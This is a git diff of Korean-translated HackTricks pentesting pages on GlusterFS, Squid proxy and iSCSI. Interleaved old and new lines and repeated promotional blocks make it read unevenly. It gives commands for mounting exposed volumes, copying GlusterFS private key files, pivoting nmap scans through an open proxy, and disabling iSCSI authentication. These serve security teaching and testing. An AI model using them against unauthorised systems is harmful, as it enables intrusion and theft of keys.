* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# 기본 정보
|
# 기본 정보
|
||||||
|
|
||||||
**GlusterFS**는 여러 서버의 저장소를 하나의 **통합 시스템**으로 결합하는 **분산 파일 시스템**입니다. 이를 통해 **임의의 확장성**을 제공하여 전체 파일 시스템을 방해하지 않고 저장소 서버를 쉽게 추가하거나 제거할 수 있습니다. 이는 데이터의 높은 **가용성**과 **장애 허용성**을 보장합니다. GlusterFS를 사용하면 기반 서버 인프라에 관계없이 로컬에 저장된 파일에 액세스할 수 있습니다. 이는 여러 서버 간에 대량의 데이터를 관리하기 위한 강력하고 유연한 솔루션을 제공합니다.
|
**GlusterFS**는 여러 서버의 저장소를 하나의 **통합 시스템**으로 결합하는 **분산 파일 시스템**입니다. 이는 **임의의 확장성**을 허용하여 전체 파일 시스템을 방해하지 않고도 저장소 서버를 쉽게 추가하거나 제거할 수 있습니다. 이는 데이터의 높은 **가용성**과 **내결함성**을 보장합니다. GlusterFS를 사용하면 기본 서버 인프라와 관계없이 파일이 로컬에 저장된 것처럼 파일에 접근할 수 있습니다. 이는 여러 서버에 걸쳐 대량의 데이터를 관리하기 위한 강력하고 유연한 솔루션을 제공합니다.
|
||||||
|
|
||||||
**기본 포트**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (이후)\
|
**기본 포트**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (이후)\
|
||||||
포트 49152의 경우, 1씩 증가하는 포트를 열어 추가적인 브릭을 사용해야 합니다. _이전에는 포트 24009 대신 49152 포트가 사용되었습니다._
|
포트 49152의 경우, 더 많은 브릭을 사용하기 위해 1씩 증가된 포트가 열려 있어야 합니다. _이전에는 포트 24009가 49152 대신 사용되었습니다._
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
24007/tcp open rpcbind
|
24007/tcp open rpcbind
|
||||||
49152/tcp open ssl/unknown
|
49152/tcp open ssl/unknown
|
||||||
```
|
```
|
||||||
## 열거
|
## Enumeration
|
||||||
|
|
||||||
이 파일 시스템과 상호 작용하려면 [**GlusterFS 클라이언트**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/)를 설치해야 합니다 (`sudo apt-get install glusterfs-cli`).
|
이 파일 시스템과 상호작용하려면 [**GlusterFS 클라이언트**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`)를 설치해야 합니다.
|
||||||
|
|
||||||
사용 가능한 볼륨을 나열하고 마운트하려면 다음을 사용할 수 있습니다:
|
사용 가능한 볼륨을 나열하고 마운트하려면 다음을 사용할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
|
@ -35,26 +36,27 @@ sudo gluster --remote-host=10.10.11.131 volume list
|
||||||
|
|
||||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||||
```
|
```
|
||||||
**파일 시스템을 마운트하는 중 오류가 발생**하는 경우, `/var/log/glusterfs/`에서 로그를 확인할 수 있습니다.
|
If you receive an **error trying to mount the filesystem**, you can check the logs in `/var/log/glusterfs/`
|
||||||
|
|
||||||
인증서와 관련된 **오류는 시스템에 액세스할 수 있다면** 다음 파일들을 훔쳐와서 해결할 수 있습니다:
|
**Errors mentioning certificates** can be fixed by stealing the files (if you have access to the system):
|
||||||
|
|
||||||
* /etc/ssl/glusterfs.ca
|
* /etc/ssl/glusterfs.ca
|
||||||
* /etc/ssl/glusterfs.key
|
* /etc/ssl/glusterfs.key
|
||||||
* /etc/ssl/glusterfs.ca.pem
|
* /etc/ssl/glusterfs.ca.pem
|
||||||
|
|
||||||
그리고 이 파일들을 자신의 기기의 `/etc/ssl` 또는 `/usr/lib/ssl` 디렉토리에 저장하면 됩니다 (다른 디렉토리를 사용하는 경우 로그에서 "_could not load our cert at /usr/lib/ssl/glusterfs.pem_"과 유사한 줄을 확인하세요).
|
And storing them in your machine `/etc/ssl` or `/usr/lib/ssl` directory (if a different directory is used check for lines similar to: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" in the logs) .
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,62 +1,64 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
다른 방법으로 HackTricks를 지원하는 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# 기본 정보
|
# 기본 정보
|
||||||
|
|
||||||
[Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\))에서:
|
From [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
|
||||||
|
|
||||||
> **Squid**는 캐싱 및 전달 HTTP 웹 프록시입니다. 반복된 요청을 캐싱하여 웹 서버의 속도를 높이는 것뿐만 아니라, 네트워크 자원을 공유하는 사람들을 위해 웹, DNS 및 기타 컴퓨터 네트워크 조회를 캐싱하고 트래픽을 필터링하여 보안을 지원하는 등 다양한 용도로 사용됩니다. 주로 HTTP 및 FTP에 사용되지만, Squid에는 Internet Gopher, SSL, TLS 및 HTTPS를 포함한 다른 프로토콜에 대한 제한적인 지원이 포함되어 있습니다. Squid는 Privoxy와 달리 SOCKS 프로토콜을 지원하지 않습니다. Squid는 SOCKS 지원을 제공하기 위해 사용될 수 있습니다.
|
> **Squid**는 캐싱 및 포워딩 HTTP 웹 프록시입니다. 반복 요청을 캐싱하여 웹 서버의 속도를 높이고, 네트워크 리소스를 공유하는 사람들을 위한 웹, DNS 및 기타 컴퓨터 네트워크 조회를 캐싱하며, 트래픽 필터링을 통해 보안을 지원하는 등 다양한 용도로 사용됩니다. 주로 HTTP와 FTP에 사용되지만, Squid는 Internet Gopher, SSL, TLS 및 HTTPS를 포함한 여러 다른 프로토콜에 대한 제한된 지원을 포함합니다. Squid는 Privoxy와 달리 SOCKS 프로토콜을 지원하지 않으며, SOCKS 지원을 제공하기 위해 Squid와 함께 사용할 수 있습니다.
|
||||||
|
|
||||||
**기본 포트:** 3128
|
**기본 포트:** 3128
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
3128/tcp open http-proxy Squid http proxy 4.11
|
3128/tcp open http-proxy Squid http proxy 4.11
|
||||||
```
|
```
|
||||||
# 열거
|
# Enumeration
|
||||||
|
|
||||||
## 웹 프록시
|
## Web Proxy
|
||||||
|
|
||||||
브라우저에서 발견된 서비스를 프록시로 설정해 볼 수 있습니다. 그러나 HTTP 인증으로 구성된 경우 사용자 이름과 암호를 입력하라는 프롬프트가 표시됩니다.
|
이 발견된 서비스를 브라우저에서 프록시로 설정해 볼 수 있습니다. 그러나 HTTP 인증으로 구성되어 있다면 사용자 이름과 비밀번호를 입력하라는 메시지가 표시됩니다.
|
||||||
```bash
|
```bash
|
||||||
# Try to proxify curl
|
# Try to proxify curl
|
||||||
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
|
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
|
||||||
```
|
```
|
||||||
## Nmap 프록시화
|
## Nmap proxified
|
||||||
|
|
||||||
프록시를 남용하여 **nmap를 프록시화하여 내부 포트를 스캔**해 볼 수도 있습니다.\
|
프록시를 악용하여 **nmap을 프록시화하여 내부 포트를 스캔**할 수 있습니다.\
|
||||||
proxichains.conf 파일 끝에 다음 줄을 추가하여 squid 프록시를 사용하도록 proxychains를 구성하십시오: `http 10.10.10.10 3128`
|
proxychains를 구성하여 squid 프록시를 사용하도록 하려면 proxichains.conf 파일의 끝에 다음 줄을 추가하세요: `http 10.10.10.10 3128`
|
||||||
인증이 필요한 프록시의 경우 구성에 자격 증명을 추가하려면 사용자 이름과 암호를 끝에 포함하십시오: `http 10.10.10.10 3128 username passw0rd`.
|
인증이 필요한 프록시의 경우, 구성 끝에 사용자 이름과 비밀번호를 포함하여 자격 증명을 추가합니다: `http 10.10.10.10 3128 username passw0rd`.
|
||||||
|
|
||||||
그런 다음 proxychains를 사용하여 로컬에서 호스트를 **스캔**하려면 nmap를 실행하십시오: `proxychains nmap -sT -n -p- localhost`
|
그런 다음 proxychains로 nmap을 실행하여 **로컬에서 호스트를 스캔**합니다: `proxychains nmap -sT -n -p- localhost`
|
||||||
|
|
||||||
## SPOSE 스캐너
|
## SPOSE Scanner
|
||||||
|
|
||||||
대안으로 Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose))를 사용할 수 있습니다.
|
대안으로, Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose))를 사용할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
|
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong>!</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
다른 방법으로 HackTricks를 지원하는 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,81 +1,34 @@
|
||||||
# 3260 - ISCSI 펜테스팅
|
# 3260 - Pentesting ISCSI
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 PR을 제출**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 기본 정보
|
## Basic Information
|
||||||
|
|
||||||
[Wikipedia](https://en.wikipedia.org/wiki/ISCSI)에서 가져온 내용:
|
From [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
|
||||||
|
|
||||||
> 컴퓨팅에서 **iSCSI**는 **Internet Small Computer Systems Interface**의 약자로, 데이터 저장 시설을 연결하는 IP 기반 스토리지 네트워킹 표준입니다. TCP/IP 네트워크를 통해 SCSI 명령을 전송하여 스토리지 장치에 블록 수준의 액세스를 제공합니다. iSCSI는 이너넷과 장거리 스토리지 관리를 위해 데이터 전송을 용이하게 합니다. 이는 로컬 영역 네트워크(LAN), 광역 네트워크(WAN) 또는 인터넷을 통해 데이터를 전송할 수 있으며 위치에 독립적인 데이터 저장 및 검색을 가능하게 할 수 있습니다.
|
> In computing, **iSCSI**는 **Internet Small Computer Systems Interface**의 약어로, 데이터 저장 시설을 연결하기 위한 인터넷 프로토콜(IP) 기반의 스토리지 네트워킹 표준입니다. TCP/IP 네트워크를 통해 SCSI 명령을 전송하여 스토리지 장치에 블록 수준 액세스를 제공합니다. iSCSI는 인트라넷을 통한 데이터 전송을 용이하게 하고 장거리에서 스토리지를 관리하는 데 사용됩니다. 로컬 영역 네트워크(LAN), 광역 네트워크(WAN) 또는 인터넷을 통해 데이터를 전송할 수 있으며, 위치에 구애받지 않는 데이터 저장 및 검색을 가능하게 합니다.
|
||||||
>
|
>
|
||||||
> 이 프로토콜은 클라이언트(이니셔에이터)가 원격 서버의 스토리지 장치(타겟)에 SCSI 명령(CDB)을 보낼 수 있도록 합니다. 이는 스토리지 영역 네트워크(SAN) 프로토콜로, 조직이 스토리지를 스토리지 어레이로 통합할 수 있으면서 데이터베이스 및 웹 서버와 같은 클라이언트에게 로컬로 연결된 SCSI 디스크와 같은 환상을 제공합니다. 주로 Fibre Channel과 경쟁하지만 전통적인 Fibre Channel과 달리 전용 케이블이 필요한 경우가 많은 Fibre Channel과 달리 iSCSI는 기존 네트워크 인프라를 사용하여 장거리에서 실행할 수 있습니다.
|
> 이 프로토콜은 클라이언트(초기화자라고 함)가 원격 서버의 스토리지 장치(대상)로 SCSI 명령(CDB)을 전송할 수 있도록 합니다. 이는 스토리지 영역 네트워크(SAN) 프로토콜로, 조직이 스토리지를 스토리지 배열로 통합하면서 데이터베이스 및 웹 서버와 같은 클라이언트에 로컬에 연결된 SCSI 디스크의 환상을 제공합니다. 주로 파이버 채널과 경쟁하지만, 전통적인 파이버 채널은 일반적으로 전용 케이블링이 필요한 반면, iSCSI는 기존 네트워크 인프라를 사용하여 장거리에서 실행할 수 있습니다.
|
||||||
|
|
||||||
**기본 포트:** 3260
|
**Default port:** 3260
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
3260/tcp open iscsi?
|
3260/tcp open iscsi?
|
||||||
```
|
```
|
||||||
## 열거
|
## 열거
|
||||||
|
|
||||||
### iSCSI 서비스 확인
|
|
||||||
|
|
||||||
iSCSI 서비스는 TCP 포트 3260을 사용합니다. 따라서, 해당 포트가 열려 있는지 확인해야 합니다. 다음 명령어를 사용하여 포트 스캔을 수행할 수 있습니다.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
nmap -p 3260 <target_ip>
|
|
||||||
```
|
|
||||||
|
|
||||||
### iSCSI 서버 정보 수집
|
|
||||||
|
|
||||||
iSCSI 서버에 대한 정보를 수집하는 것은 중요합니다. 다음 명령어를 사용하여 iSCSI 서버의 정보를 확인할 수 있습니다.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
iscsiadm -m discovery -t sendtargets -p <target_ip>
|
|
||||||
```
|
|
||||||
|
|
||||||
위 명령어를 실행하면 iSCSI 서버의 IP 주소와 포트 번호를 얻을 수 있습니다.
|
|
||||||
|
|
||||||
### iSCSI 서버 연결
|
|
||||||
|
|
||||||
iSCSI 서버에 연결하기 위해 다음 명령어를 사용할 수 있습니다.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
iscsiadm -m node -T <target_name> -p <target_ip> -l
|
|
||||||
```
|
|
||||||
|
|
||||||
위 명령어에서 `<target_name>`은 iSCSI 서버의 이름이고, `<target_ip>`는 iSCSI 서버의 IP 주소입니다.
|
|
||||||
|
|
||||||
### iSCSI 서버 인증 우회
|
|
||||||
|
|
||||||
iSCSI 서버에 연결할 때 인증을 우회해야 하는 경우, 다음 명령어를 사용할 수 있습니다.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
iscsiadm -m node -T <target_name> -p <target_ip> --op=update --name=node.session.auth.authmethod --value=None
|
|
||||||
```
|
|
||||||
|
|
||||||
위 명령어를 실행하면 인증 우회가 가능해집니다.
|
|
||||||
|
|
||||||
### iSCSI 서버 마운트
|
|
||||||
|
|
||||||
iSCSI 서버에 연결한 후, 다음 명령어를 사용하여 iSCSI 볼륨을 마운트할 수 있습니다.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
mount /dev/sdX /mnt
|
|
||||||
```
|
|
||||||
|
|
||||||
위 명령어에서 `/dev/sdX`는 iSCSI 디바이스의 경로이고, `/mnt`는 마운트할 디렉토리입니다.
|
|
||||||
```
|
```
|
||||||
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
||||||
```
|
```
|
||||||
|
@ -83,45 +36,45 @@ nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
||||||
|
|
||||||
### [무차별 대입 공격](../generic-methodologies-and-resources/brute-force.md#iscsi)
|
### [무차별 대입 공격](../generic-methodologies-and-resources/brute-force.md#iscsi)
|
||||||
|
|
||||||
### [리눅스에서 ISCSI 마운트](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
### [리눅스에서 ISCSI 마운트하기](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||||
|
|
||||||
**참고:** 대상이 발견되면 다른 IP 주소로 나열될 수 있습니다. 이는 iSCSI 서비스가 NAT 또는 가상 IP를 통해 노출되는 경우에 발생하는 경향이 있습니다. 이러한 경우 `iscsiadmin`은 연결에 실패합니다. 이를 해결하기 위해 두 가지 수정이 필요합니다. 하나는 발견 활동으로 자동으로 생성된 노드의 디렉토리 이름을 수정하는 것이고, 다른 하나는 이 디렉토리에 포함된 `default` 파일을 수정하는 것입니다.
|
**참고:** 대상이 발견될 때 다른 IP 주소 아래에 나열될 수 있습니다. 이는 iSCSI 서비스가 NAT 또는 가상 IP를 통해 노출될 때 발생하는 경향이 있습니다. 이러한 경우 `iscsiadmin`은 연결에 실패합니다. 이는 발견 활동에 의해 자동으로 생성된 노드의 디렉토리 이름과 이 디렉토리에 포함된 `default` 파일에 대한 두 가지 조정이 필요합니다.
|
||||||
|
|
||||||
예를 들어, 123.123.123.123의 3260 포트에서 iSCSI 대상에 연결하려고 합니다. iSCSI 대상을 노출하는 서버는 실제로 192.168.1.2에 있지만 NAT를 통해 노출됩니다. isciadm은 _공용_ 주소 대신 _내부_ 주소를 등록합니다.
|
예를 들어, 123.123.123.123의 포트 3260에서 iSCSI 대상을 연결하려고 합니다. iSCSI 대상을 노출하는 서버는 실제로 192.168.1.2에 있지만 NAT를 통해 노출됩니다. isciadm은 _공식_ 주소가 아닌 _내부_ 주소를 등록합니다:
|
||||||
```
|
```
|
||||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||||
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
이 명령은 다음과 같이 파일 시스템에 디렉토리를 생성합니다:
|
이 명령은 파일 시스템에 다음과 같은 디렉토리를 생성합니다:
|
||||||
```
|
```
|
||||||
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
|
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
|
||||||
```
|
```
|
||||||
디렉토리 내에는 대상에 연결하기 위해 필요한 모든 설정이 포함된 기본 파일이 있습니다.
|
디렉토리 내에는 대상에 연결하는 데 필요한 모든 설정이 포함된 기본 파일이 있습니다.
|
||||||
|
|
||||||
1. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/`을 `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`로 이름을 변경합니다.
|
1. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/`의 이름을 `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`로 변경합니다.
|
||||||
2. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` 내에서 `node.conn[0].address` 설정을 192.168.1.2 대신 123.123.123.123으로 변경합니다. 다음과 같은 명령을 사용하여 이 작업을 수행할 수 있습니다. `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
2. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` 내에서 `node.conn[0].address` 설정을 192.168.1.2 대신 123.123.123.123를 가리키도록 변경합니다. 이는 `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`와 같은 명령으로 수행할 수 있습니다.
|
||||||
|
|
||||||
이제 링크 안의 지침에 따라 대상을 마운트할 수 있습니다.
|
이제 링크의 지침에 따라 대상을 마운트할 수 있습니다.
|
||||||
|
|
||||||
### [Windows에서 ISCSI 마운트](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
### [Windows에서 ISCSI 마운트하기](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
||||||
|
|
||||||
## **수동 열거**
|
## **수동 열거**
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install open-iscsi
|
sudo apt-get install open-iscsi
|
||||||
```
|
```
|
||||||
